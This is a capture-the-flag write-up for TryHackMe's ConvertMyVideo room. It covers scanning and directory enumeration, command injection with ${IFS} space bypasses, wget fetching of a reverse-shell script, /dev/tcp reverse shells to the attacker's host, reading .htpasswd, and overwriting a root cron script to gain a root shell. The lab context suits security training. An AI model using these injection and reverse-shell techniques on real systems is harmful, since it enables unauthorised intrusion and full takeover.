TryHackMe - ConvertMyVideo
Nmap
Starting Nmap 7.60 ( https://nmap.org ) at 2022-07-05 21:48 BST
Stats: 0:20:37 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 22:09 (0:00:00 remaining)
Nmap scan report for ip-10-10-68-80.eu-west-1.compute.internal (10.10.68.80)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
| 256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_ 256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 02:61:5C:CF:D0:3B (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=7/5%OT=22%CT=1%CU=34666%PV=Y%DS=1%DC=D%G=Y%M=02615C%TM
OS:=62C4A916%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)
OS:SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M230
OS:1ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)W
OS:IN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F
OS:507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0
OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1381.76 secondsPort 80
We have a page with a file upload functionality to convert a video
Gobuster
┌──(root💀kali)-[/home/kali/Documents]
└─# gobuster dir -u http://10.10.158.186/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt 1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.158.186/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/07/06 17:18:46 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 315] [--> http://10.10.158.186/images/]
/admin (Status: 401) [Size: 460]
/js (Status: 301) [Size: 311] [--> http://10.10.158.186/js/]
/tmp (Status: 301) [Size: 312] [--> http://10.10.158.186/tmp/]Apache version
Apache httpd 2.4.29 - CVE-2021-41773
https://github.com/iilegacyyii/PoC-CVE-2021-41773
Not going anywhere with this
The dl functionality
If we use a real youtube video ID it does not work. We get an error message
First I inspected on burp the request. Sent it to my repeater and played with it a little
I tried to inject a command after the url, and got interesting info
Here are the interesting elements of the response
Unable to download webpage: HTTP Error 401: Unauthorized (caused by HTTPError()); please report this issue on https:\/\/yt-dl.org\/bug . Make sure you are using the latest version; type youtube-dl -U to update. Be sure to call youtube-dl with the --verbose flag and include its complete output
"result_url":"\/tmp\/downloads\/62d2fd72c199c.mp3According to this it is using a binary called
youtube-dland put the converted video to a downloads folder in /tmpWe can check youtube-dl documentation for more info
We definitely can push further our cmd injection investigation. We can try using backquotes, and it works
If I want to do more than just a command without args it is getting tricky because of the space, and url encoding does not work. But if you google linux command without space you find this post on stackoverflow, turns out you can replace a space with
${IFS}which is a var that contains a space! It works if we dols${IFS}adminbut not if we dols${IFS}-alit seems to interpret our-
We can still get our user flag this way though, as we saw it listed with the previous command that worked
cat${IFS}admin/flag.txtLet's try to get a reverse shell all the one liners with reverse have dash sign in them. let's see if we can wget a homemade file with a oneliner shell in it and execute it afterwards.
We make a file called
oneliner.shand put this in it
bash -i >& /dev/tcp/ATTACKING-MACHINE-IP/4444 0>&1Replace the script with your IP
And we laucnh our python http server in the folder where our shell is
So now let's try to first wget our file
wget${IFS}http://10.13.22.56/oneliner.shwe can already set up our listener so that we do not forget about itrlwrap nc -lvp 4444our wget seems to work
Let's try to execute it but before we need to make it executable
bash${IFS}oneliner.shour chmod with +x does not work let's try with 777chmod${IFS}777${IFS}oneliner.shand it works
let's stabilize our shell
python3 -c 'import pty; pty.spawn("/bin/bash")'If we look around a little we are able to answer question 2 with a cat on .htpasswd
Let's try to overwrite clean.sh
Privesc
If we execute linpeas on the target we see that cron is running as root.
Let's get pspy in our target and execute it
It seems like there is a clean.sh file that is executed through a probable cron job
bash /var/www/html/tmp/clean.sh
/bin/sh -c cd /var/www/html/tmp && bash /var/www/html/tmp/clean.sh
/usr/sbin/CRON -fThe clean is just an
rm -rf downloadsLet's launch a listener
rlwrap nc -lvp 5555echo "bash -i >& /dev/tcp/10.13.22.56/5555 0>&1" > /var/www/html/tmp/clean.shAnd we get a root shell and we can get our flag
Questions
What is the name of the secret folder?
admin(we get this using gobuster, see above)What is the user to access the secret folder? to know this we need to do this one we have our reverse shell
cat admin/.htpasswdwe will get the user and password inside this file.I let you find the flags on your own :)
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